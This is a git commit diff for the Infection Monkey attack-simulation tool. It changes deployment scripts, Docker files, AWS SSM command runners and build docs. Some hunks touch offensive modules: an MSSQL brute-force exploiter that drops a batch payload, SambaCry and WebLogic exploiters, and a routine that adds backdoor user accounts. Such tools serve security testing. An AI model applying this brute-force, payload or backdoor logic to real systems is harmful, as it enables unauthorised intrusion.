forked from p34709852/monkey
Merge branch 'develop'
This commit is contained in:
commit
38381c4c9d
|
@ -121,7 +121,7 @@ openssl req -new -key cc/server.key -out cc/server.csr \
|
||||||
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
|
openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt || handle_error
|
||||||
|
|
||||||
|
|
||||||
chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
sudo chmod +x ${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||||
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
${ISLAND_PATH}/linux/create_certificate.sh || handle_error
|
||||||
|
|
||||||
# Install npm
|
# Install npm
|
||||||
|
@ -142,16 +142,16 @@ npm run dist
|
||||||
log_message "Installing monkey requirements"
|
log_message "Installing monkey requirements"
|
||||||
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
|
||||||
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
cd ${monkey_home}/monkey/infection_monkey || handle_error
|
||||||
python -m pip install --user -r requirements.txt || handle_error
|
python -m pip install --user -r requirements_linux.txt || handle_error
|
||||||
|
|
||||||
# Build samba
|
# Build samba
|
||||||
log_message "Building samba binaries"
|
log_message "Building samba binaries"
|
||||||
sudo apt-get install gcc-multilib
|
sudo apt-get install gcc-multilib
|
||||||
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
cd ${monkey_home}/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner
|
||||||
chmod +x ./build.sh || handle_error
|
sudo chmod +x ./build.sh || handle_error
|
||||||
./build.sh
|
./build.sh
|
||||||
|
|
||||||
chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
|
sudo chmod +x ${monkey_home}/monkey/infection_monkey/build_linux.sh
|
||||||
|
|
||||||
log_message "Deployment script finished."
|
log_message "Deployment script finished."
|
||||||
exit 0
|
exit 0
|
||||||
|
|
|
@ -39,7 +39,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
||||||
New-Item -ItemType directory -path $binDir
|
New-Item -ItemType directory -path $binDir
|
||||||
"Bin directory added"
|
"Bin directory added"
|
||||||
}
|
}
|
||||||
|
|
||||||
# We check if python is installed
|
# We check if python is installed
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
|
@ -72,7 +72,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
||||||
"Downloading Visual C++ Compiler for Python 2.7 ..."
|
"Downloading Visual C++ Compiler for Python 2.7 ..."
|
||||||
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
|
$webClient.DownloadFile($VC_FOR_PYTHON27_URL, $TEMP_VC_FOR_PYTHON27_INSTALLER)
|
||||||
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
|
Start-Process -Wait $TEMP_VC_FOR_PYTHON27_INSTALLER -ErrorAction Stop
|
||||||
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
$env:Path = [System.Environment]::GetEnvironmentVariable("Path","Machine")
|
||||||
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
|
Remove-Item $TEMP_VC_FOR_PYTHON27_INSTALLER
|
||||||
|
|
||||||
# Install requirements for island
|
# Install requirements for island
|
||||||
|
@ -86,7 +86,7 @@ function Deploy-Windows([String] $monkey_home = (Get-Item -Path ".\").FullName,
|
||||||
}
|
}
|
||||||
& python -m pip install --user -r $islandRequirements
|
& python -m pip install --user -r $islandRequirements
|
||||||
# Install requirements for monkey
|
# Install requirements for monkey
|
||||||
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements.txt"
|
$monkeyRequirements = Join-Path -Path $monkey_home -ChildPath $MONKEY_DIR | Join-Path -ChildPath "\requirements_windows.txt"
|
||||||
& python -m pip install --user -r $monkeyRequirements
|
& python -m pip install --user -r $monkeyRequirements
|
||||||
|
|
||||||
# Download mongodb
|
# Download mongodb
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
*.md
|
|
@ -1,19 +1,24 @@
|
||||||
FROM debian:jessie-slim
|
FROM debian:stretch-slim
|
||||||
|
|
||||||
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
|
LABEL MAINTAINER="theonlydoo <theonlydoo@gmail.com>"
|
||||||
|
|
||||||
|
ARG RELEASE=1.6
|
||||||
|
ARG DEBIAN_FRONTEND=noninteractive
|
||||||
|
|
||||||
|
EXPOSE 5000
|
||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
ADD https://github.com/guardicore/monkey/releases/download/1.5.2/infection_monkey_1.5.2_deb.tgz .
|
ADD https://github.com/guardicore/monkey/releases/download/${RELEASE}/infection_monkey_deb.${RELEASE}.tgz .
|
||||||
|
|
||||||
RUN tar xvf infection_monkey_1.5.2_deb.tgz \
|
RUN tar xvf infection_monkey_deb.${RELEASE}.tgz \
|
||||||
&& apt-get -yqq update \
|
&& apt-get -yqq update \
|
||||||
&& apt-get -yqq upgrade \
|
&& apt-get -yqq upgrade \
|
||||||
&& apt-get -yqq install python-pip \
|
&& apt-get -yqq install python-pip \
|
||||||
libssl-dev \
|
python-dev \
|
||||||
supervisor \
|
&& dpkg -i *.deb \
|
||||||
&& dpkg -i *.deb
|
&& rm -f *.deb *.tgz
|
||||||
|
|
||||||
COPY stack.conf /etc/supervisor/conf.d/stack.conf
|
WORKDIR /var/monkey
|
||||||
|
ENTRYPOINT ["/var/monkey/monkey_island/bin/python/bin/python"]
|
||||||
ENTRYPOINT [ "supervisord", "-n", "-c", "/etc/supervisor/supervisord.conf" ]
|
CMD ["/var/monkey/monkey_island.py"]
|
||||||
|
|
|
@ -0,0 +1,22 @@
|
||||||
|
version: '3.3'
|
||||||
|
|
||||||
|
services:
|
||||||
|
db:
|
||||||
|
image: mongo:4
|
||||||
|
restart: always
|
||||||
|
volumes:
|
||||||
|
- db_data:/data/db
|
||||||
|
environment:
|
||||||
|
MONGO_INITDB_DATABASE: monkeyisland
|
||||||
|
monkey:
|
||||||
|
depends_on:
|
||||||
|
- db
|
||||||
|
build: .
|
||||||
|
image: monkey:latest
|
||||||
|
ports:
|
||||||
|
- "5000:5000"
|
||||||
|
environment:
|
||||||
|
MONGO_URL: mongodb://db:27017/monkeyisland
|
||||||
|
|
||||||
|
volumes:
|
||||||
|
db_data:
|
|
@ -1,4 +0,0 @@
|
||||||
[program:mongod]
|
|
||||||
command=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db
|
|
||||||
[program:monkey]
|
|
||||||
command=/var/monkey_island/ubuntu/systemd/start_server.sh
|
|
|
@ -4,7 +4,7 @@ import urllib2
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
class AWS(object):
|
class AwsInstance(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
try:
|
try:
|
||||||
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
|
self.instance_id = urllib2.urlopen('http://169.254.169.254/latest/meta-data/instance-id', timeout=2).read()
|
|
@ -0,0 +1,63 @@
|
||||||
|
import boto3
|
||||||
|
from botocore.exceptions import ClientError
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class AwsService(object):
|
||||||
|
"""
|
||||||
|
Supplies various AWS services
|
||||||
|
"""
|
||||||
|
|
||||||
|
access_key_id = None
|
||||||
|
secret_access_key = None
|
||||||
|
region = None
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def set_auth_params(access_key_id, secret_access_key):
|
||||||
|
AwsService.access_key_id = access_key_id
|
||||||
|
AwsService.secret_access_key = secret_access_key
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def set_region(region):
|
||||||
|
AwsService.region = region
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_client(client_type, region=None):
|
||||||
|
return boto3.client(
|
||||||
|
client_type,
|
||||||
|
aws_access_key_id=AwsService.access_key_id,
|
||||||
|
aws_secret_access_key=AwsService.secret_access_key,
|
||||||
|
region_name=region if region is not None else AwsService.region)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_session():
|
||||||
|
return boto3.session.Session(
|
||||||
|
aws_access_key_id=AwsService.access_key_id,
|
||||||
|
aws_secret_access_key=AwsService.secret_access_key)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_regions():
|
||||||
|
return AwsService.get_session().get_available_regions('ssm')
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def test_client():
|
||||||
|
try:
|
||||||
|
AwsService.get_client('ssm').describe_instance_information()
|
||||||
|
return True
|
||||||
|
except ClientError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_instances():
|
||||||
|
return \
|
||||||
|
[
|
||||||
|
{
|
||||||
|
'instance_id': x['InstanceId'],
|
||||||
|
'name': x['ComputerName'],
|
||||||
|
'os': x['PlatformType'].lower(),
|
||||||
|
'ip_address': x['IPAddress']
|
||||||
|
}
|
||||||
|
for x in AwsService.get_client('ssm').describe_instance_information()['InstanceInformationList']
|
||||||
|
]
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
from common.cmd.cmd_result import CmdResult
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class AwsCmdResult(CmdResult):
|
||||||
|
"""
|
||||||
|
Class representing an AWS command result
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, command_info):
|
||||||
|
super(AwsCmdResult, self).__init__(
|
||||||
|
self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'],
|
||||||
|
command_info[u'StandardErrorContent'])
|
||||||
|
self.command_info = command_info
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def is_successful(command_info, is_timeout=False):
|
||||||
|
"""
|
||||||
|
Determines whether the command was successful. If it timed out and was still in progress, we assume it worked.
|
||||||
|
:param command_info: Command info struct (returned by ssm.get_command_invocation)
|
||||||
|
:param is_timeout: Whether the given command timed out
|
||||||
|
:return: True if successful, False otherwise.
|
||||||
|
"""
|
||||||
|
return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress'))
|
|
@ -0,0 +1,42 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from common.cloud.aws_service import AwsService
|
||||||
|
from common.cmd.aws.aws_cmd_result import AwsCmdResult
|
||||||
|
from common.cmd.cmd_runner import CmdRunner
|
||||||
|
from common.cmd.cmd_status import CmdStatus
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class AwsCmdRunner(CmdRunner):
|
||||||
|
"""
|
||||||
|
Class for running commands on a remote AWS machine
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, is_linux, instance_id, region = None):
|
||||||
|
super(AwsCmdRunner, self).__init__(is_linux)
|
||||||
|
self.instance_id = instance_id
|
||||||
|
self.region = region
|
||||||
|
self.ssm = AwsService.get_client('ssm', region)
|
||||||
|
|
||||||
|
def query_command(self, command_id):
|
||||||
|
return self.ssm.get_command_invocation(CommandId=command_id, InstanceId=self.instance_id)
|
||||||
|
|
||||||
|
def get_command_result(self, command_info):
|
||||||
|
return AwsCmdResult(command_info)
|
||||||
|
|
||||||
|
def get_command_status(self, command_info):
|
||||||
|
if command_info[u'Status'] == u'InProgress':
|
||||||
|
return CmdStatus.IN_PROGRESS
|
||||||
|
elif command_info[u'Status'] == u'Success':
|
||||||
|
return CmdStatus.SUCCESS
|
||||||
|
else:
|
||||||
|
return CmdStatus.FAILURE
|
||||||
|
|
||||||
|
def run_command_async(self, command_line):
|
||||||
|
doc_name = "AWS-RunShellScript" if self.is_linux else "AWS-RunPowerShellScript"
|
||||||
|
command_res = self.ssm.send_command(DocumentName=doc_name, Parameters={'commands': [command_line]},
|
||||||
|
InstanceIds=[self.instance_id])
|
||||||
|
return command_res['Command']['CommandId']
|
|
@ -0,0 +1,11 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class Cmd(object):
|
||||||
|
"""
|
||||||
|
Class representing a command
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, cmd_runner, cmd_id):
|
||||||
|
self.cmd_runner = cmd_runner
|
||||||
|
self.cmd_id = cmd_id
|
|
@ -0,0 +1,13 @@
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class CmdResult(object):
|
||||||
|
"""
|
||||||
|
Class representing a command result
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, is_success, status_code=None, stdout=None, stderr=None):
|
||||||
|
self.is_success = is_success
|
||||||
|
self.status_code = status_code
|
||||||
|
self.stdout = stdout
|
||||||
|
self.stderr = stderr
|
|
@ -0,0 +1,158 @@
|
||||||
|
import time
|
||||||
|
import logging
|
||||||
|
from abc import abstractmethod
|
||||||
|
|
||||||
|
from common.cmd.cmd import Cmd
|
||||||
|
from common.cmd.cmd_result import CmdResult
|
||||||
|
from common.cmd.cmd_status import CmdStatus
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class CmdRunner(object):
|
||||||
|
"""
|
||||||
|
Interface for running commands on a remote machine
|
||||||
|
|
||||||
|
Since these classes are a bit complex, I provide a list of common terminology and formats:
|
||||||
|
* command line - a command line. e.g. 'echo hello'
|
||||||
|
* command - represent a single command which was already run. Always of type Cmd
|
||||||
|
* command id - any unique identifier of a command which was already run
|
||||||
|
* command result - represents the result of running a command. Always of type CmdResult
|
||||||
|
* command status - represents the current status of a command. Always of type CmdStatus
|
||||||
|
* command info - Any consistent structure representing additional information of a command which was already run
|
||||||
|
* instance - a machine that commands will be run on. Can be any dictionary with 'instance_id' as a field
|
||||||
|
* instance_id - any unique identifier of an instance (machine). Can be of any format
|
||||||
|
"""
|
||||||
|
|
||||||
|
# Default command timeout in seconds
|
||||||
|
DEFAULT_TIMEOUT = 5
|
||||||
|
# Time to sleep when waiting on commands.
|
||||||
|
WAIT_SLEEP_TIME = 1
|
||||||
|
|
||||||
|
def __init__(self, is_linux):
|
||||||
|
self.is_linux = is_linux
|
||||||
|
|
||||||
|
def run_command(self, command_line, timeout=DEFAULT_TIMEOUT):
|
||||||
|
"""
|
||||||
|
Runs the given command on the remote machine
|
||||||
|
:param command_line: The command line to run
|
||||||
|
:param timeout: Timeout in seconds for command.
|
||||||
|
:return: Command result
|
||||||
|
"""
|
||||||
|
c_id = self.run_command_async(command_line)
|
||||||
|
return self.wait_commands([Cmd(self, c_id)], timeout)[1]
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def run_multiple_commands(instances, inst_to_cmd, inst_n_cmd_res_to_res):
|
||||||
|
"""
|
||||||
|
Run multiple commands on various instances
|
||||||
|
:param instances: List of instances.
|
||||||
|
:param inst_to_cmd: Function which receives an instance, runs a command asynchronously and returns Cmd
|
||||||
|
:param inst_n_cmd_res_to_res: Function which receives an instance and CmdResult
|
||||||
|
and returns a parsed result (of any format)
|
||||||
|
:return: Dictionary with 'instance_id' as key and parsed result as value
|
||||||
|
"""
|
||||||
|
command_instance_dict = {}
|
||||||
|
|
||||||
|
for instance in instances:
|
||||||
|
command = inst_to_cmd(instance)
|
||||||
|
command_instance_dict[command] = instance
|
||||||
|
|
||||||
|
instance_results = {}
|
||||||
|
command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys())
|
||||||
|
for command, result in command_result_pairs:
|
||||||
|
instance = command_instance_dict[command]
|
||||||
|
instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
|
||||||
|
|
||||||
|
return instance_results
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def run_command_async(self, command_line):
|
||||||
|
"""
|
||||||
|
Runs the given command on the remote machine asynchronously.
|
||||||
|
:param command_line: The command line to run
|
||||||
|
:return: Command ID (in any format)
|
||||||
|
"""
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def wait_commands(commands, timeout=DEFAULT_TIMEOUT):
|
||||||
|
"""
|
||||||
|
Waits on all commands up to given timeout
|
||||||
|
:param commands: list of commands (of type Cmd)
|
||||||
|
:param timeout: Timeout in seconds for command.
|
||||||
|
:return: commands and their results (tuple of Command and CmdResult)
|
||||||
|
"""
|
||||||
|
init_time = time.time()
|
||||||
|
curr_time = init_time
|
||||||
|
|
||||||
|
results = []
|
||||||
|
|
||||||
|
while (curr_time - init_time < timeout) and (len(commands) != 0):
|
||||||
|
for command in list(commands): # list(commands) clones the list. We do so because we remove items inside
|
||||||
|
CmdRunner._process_command(command, commands, results, True)
|
||||||
|
|
||||||
|
time.sleep(CmdRunner.WAIT_SLEEP_TIME)
|
||||||
|
curr_time = time.time()
|
||||||
|
|
||||||
|
for command in list(commands):
|
||||||
|
CmdRunner._process_command(command, commands, results, False)
|
||||||
|
|
||||||
|
for command, result in results:
|
||||||
|
if not result.is_success:
|
||||||
|
logger.error('The following command failed: `%s`. status code: %s',
|
||||||
|
str(command[1]), str(result.status_code))
|
||||||
|
|
||||||
|
return results
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def query_command(self, command_id):
|
||||||
|
"""
|
||||||
|
Queries the already run command for more info
|
||||||
|
:param command_id: The command ID to query
|
||||||
|
:return: Command info (in any format)
|
||||||
|
"""
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def get_command_result(self, command_info):
|
||||||
|
"""
|
||||||
|
Gets the result of the already run command
|
||||||
|
:param command_info: The command info of the command to get the result of
|
||||||
|
:return: CmdResult
|
||||||
|
"""
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def get_command_status(self, command_info):
|
||||||
|
"""
|
||||||
|
Gets the status of the already run command
|
||||||
|
:param command_info: The command info of the command to get the result of
|
||||||
|
:return: CmdStatus
|
||||||
|
"""
|
||||||
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _process_command(command, commands, results, should_process_only_finished):
|
||||||
|
"""
|
||||||
|
Removes the command from the list, processes its result and appends to results
|
||||||
|
:param command: Command to process. Must be in commands.
|
||||||
|
:param commands: List of unprocessed commands.
|
||||||
|
:param results: List of command results.
|
||||||
|
:param should_process_only_finished: If True, processes only if command finished.
|
||||||
|
:return: None
|
||||||
|
"""
|
||||||
|
c_runner = command.cmd_runner
|
||||||
|
c_id = command.cmd_id
|
||||||
|
try:
|
||||||
|
command_info = c_runner.query_command(c_id)
|
||||||
|
if (not should_process_only_finished) or c_runner.get_command_status(command_info) != CmdStatus.IN_PROGRESS:
|
||||||
|
commands.remove(command)
|
||||||
|
results.append((command, c_runner.get_command_result(command_info)))
|
||||||
|
except Exception:
|
||||||
|
logger.exception('Exception while querying command: `%s`', str(c_id))
|
||||||
|
if not should_process_only_finished:
|
||||||
|
commands.remove(command)
|
||||||
|
results.append((command, CmdResult(False)))
|
|
@ -0,0 +1,9 @@
|
||||||
|
from enum import Enum
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
|
||||||
|
class CmdStatus(Enum):
|
||||||
|
IN_PROGRESS = 0
|
||||||
|
SUCCESS = 1
|
||||||
|
FAILURE = 2
|
|
@ -41,8 +41,7 @@
|
||||||
"SambaCryExploiter",
|
"SambaCryExploiter",
|
||||||
"Struts2Exploiter",
|
"Struts2Exploiter",
|
||||||
"WebLogicExploiter",
|
"WebLogicExploiter",
|
||||||
"HadoopExploiter",
|
"HadoopExploiter"
|
||||||
"MSSQLExploiter"
|
|
||||||
],
|
],
|
||||||
"finger_classes": [
|
"finger_classes": [
|
||||||
"SSHFinger",
|
"SSHFinger",
|
||||||
|
|
|
@ -17,13 +17,14 @@ class MSSQLExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
LOGIN_TIMEOUT = 15
|
LOGIN_TIMEOUT = 15
|
||||||
SQL_DEFAULT_TCP_PORT = '1433'
|
SQL_DEFAULT_TCP_PORT = '1433'
|
||||||
DEFAULT_PAYLOAD_PATH = os.path.expandvars(r'%TEMP%\~PLD123.bat') if platform.system() else '/tmp/~PLD123.bat'
|
DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat')
|
||||||
|
DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat'
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(MSSQLExploiter, self).__init__(host)
|
super(MSSQLExploiter, self).__init__(host)
|
||||||
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
||||||
|
|
||||||
def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH):
|
def create_payload_file(self, payload_path):
|
||||||
"""
|
"""
|
||||||
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
This function creates dynamically the payload file to be transported and ran on the exploited machine.
|
||||||
:param payload_path: A path to the create the payload file in
|
:param payload_path: A path to the create the payload file in
|
||||||
|
@ -45,10 +46,13 @@ class MSSQLExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
||||||
|
|
||||||
if not self.create_payload_file():
|
payload_path = MSSQLExploiter.DEFAULT_PAYLOAD_PATH_LINUX if 'linux' in self.host.os['type'] \
|
||||||
|
else MSSQLExploiter.DEFAULT_PAYLOAD_PATH_WIN
|
||||||
|
|
||||||
|
if not self.create_payload_file(payload_path):
|
||||||
return False
|
return False
|
||||||
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
||||||
self.DEFAULT_PAYLOAD_PATH):
|
payload_path):
|
||||||
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -7,6 +7,7 @@ from io import BytesIO
|
||||||
from os import path
|
from os import path
|
||||||
|
|
||||||
import impacket.smbconnection
|
import impacket.smbconnection
|
||||||
|
from impacket.nmb import NetBIOSError
|
||||||
from impacket.nt_errors import STATUS_SUCCESS
|
from impacket.nt_errors import STATUS_SUCCESS
|
||||||
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
|
from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \
|
||||||
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE
|
||||||
|
@ -172,7 +173,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
if self.is_share_writable(smb_client, share):
|
if self.is_share_writable(smb_client, share):
|
||||||
writable_shares_creds_dict[share] = credentials
|
writable_shares_creds_dict[share] = credentials
|
||||||
|
|
||||||
except (impacket.smbconnection.SessionError, SessionError):
|
except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
|
||||||
# If failed using some credentials, try others.
|
# If failed using some credentials, try others.
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
|
@ -23,7 +23,7 @@ SERVER_TIMEOUT = 4
|
||||||
# How long should be wait after each request in seconds
|
# How long should be wait after each request in seconds
|
||||||
REQUEST_DELAY = 0.0001
|
REQUEST_DELAY = 0.0001
|
||||||
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
||||||
REQUEST_TIMEOUT = 2
|
REQUEST_TIMEOUT = 5
|
||||||
# How long to wait for response in exploitation. In seconds
|
# How long to wait for response in exploitation. In seconds
|
||||||
EXECUTION_TIMEOUT = 15
|
EXECUTION_TIMEOUT = 15
|
||||||
URLS = ["/wls-wsat/CoordinatorPortType",
|
URLS = ["/wls-wsat/CoordinatorPortType",
|
||||||
|
|
|
@ -69,7 +69,6 @@ def process_datas(orig_datas):
|
||||||
def get_binaries():
|
def get_binaries():
|
||||||
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries()
|
||||||
binaries += get_sc_binaries()
|
binaries += get_sc_binaries()
|
||||||
binaries += get_traceroute_binaries()
|
|
||||||
return binaries
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
@ -81,6 +80,7 @@ def get_windows_only_binaries():
|
||||||
|
|
||||||
def get_linux_only_binaries():
|
def get_linux_only_binaries():
|
||||||
binaries = []
|
binaries = []
|
||||||
|
binaries += get_traceroute_binaries()
|
||||||
return binaries
|
return binaries
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -23,14 +23,17 @@ class BackdoorUser(object):
|
||||||
|
|
||||||
def act(self):
|
def act(self):
|
||||||
LOG.info("Adding a user")
|
LOG.info("Adding a user")
|
||||||
if sys.platform.startswith("win"):
|
try:
|
||||||
retval = self.add_user_windows()
|
if sys.platform.startswith("win"):
|
||||||
else:
|
retval = self.add_user_windows()
|
||||||
retval = self.add_user_linux()
|
else:
|
||||||
if retval != 0:
|
retval = self.add_user_linux()
|
||||||
LOG.warn("Failed to add a user")
|
if retval != 0:
|
||||||
else:
|
LOG.warn("Failed to add a user")
|
||||||
LOG.info("Done adding user")
|
else:
|
||||||
|
LOG.info("Done adding user")
|
||||||
|
except OSError:
|
||||||
|
LOG.exception("Exception while adding a user")
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def add_user_linux():
|
def add_user_linux():
|
||||||
|
|
|
@ -5,36 +5,30 @@ The monkey is composed of three separate parts.
|
||||||
* The Infection Monkey itself - PyInstaller compressed python archives
|
* The Infection Monkey itself - PyInstaller compressed python archives
|
||||||
* Sambacry binaries - Two linux binaries, 32/64 bit.
|
* Sambacry binaries - Two linux binaries, 32/64 bit.
|
||||||
* Mimikatz binaries - Two windows binaries, 32/64 bit.
|
* Mimikatz binaries - Two windows binaries, 32/64 bit.
|
||||||
|
* Traceroute binaries - Two linux binaries, 32/64bit.
|
||||||
|
|
||||||
--- Windows ---
|
--- Windows ---
|
||||||
|
|
||||||
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in.
|
1. Install python 2.7.15
|
||||||
You must use an up to date version, at least version 2.7.10
|
Download and install from: https://www.python.org/downloads/release/python-2715/
|
||||||
https://www.python.org/download/releases/2.7/
|
2. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
|
||||||
2. Install pywin32 (if you didn't install ActiveState Python)
|
|
||||||
Install pywin32, minimum build 219
|
|
||||||
http://sourceforge.net/projects/pywin32/files/pywin32
|
|
||||||
3. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
|
|
||||||
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
|
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
|
||||||
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts
|
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts
|
||||||
b. Close the console, make sure you execute all commands in a new cmd console from now on.
|
b. Close the console, make sure you execute all commands in a new cmd console from now on.
|
||||||
4. Install pip
|
3. Install further dependencies
|
||||||
a. Download and run the pip installer
|
|
||||||
https://bootstrap.pypa.io/get-pip.py
|
|
||||||
5. Install further dependencies
|
|
||||||
a. install VCForPython27.msi
|
a. install VCForPython27.msi
|
||||||
https://aka.ms/vcpython27
|
https://aka.ms/vcpython27
|
||||||
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
|
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
|
||||||
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
|
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
|
||||||
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
|
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
|
||||||
6. Download the dependent python packages using
|
4. Download the dependent python packages using
|
||||||
pip install -r requirements.txt
|
pip install -r requirements_windows.txt
|
||||||
7. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe:
|
5. Download and extract UPX binary to [source-path]\monkey\infection_monkey\bin\upx.exe:
|
||||||
https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
|
https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
|
||||||
8. Build/Download Sambacry and Mimikatz binaries
|
6. Build/Download Sambacry and Mimikatz binaries
|
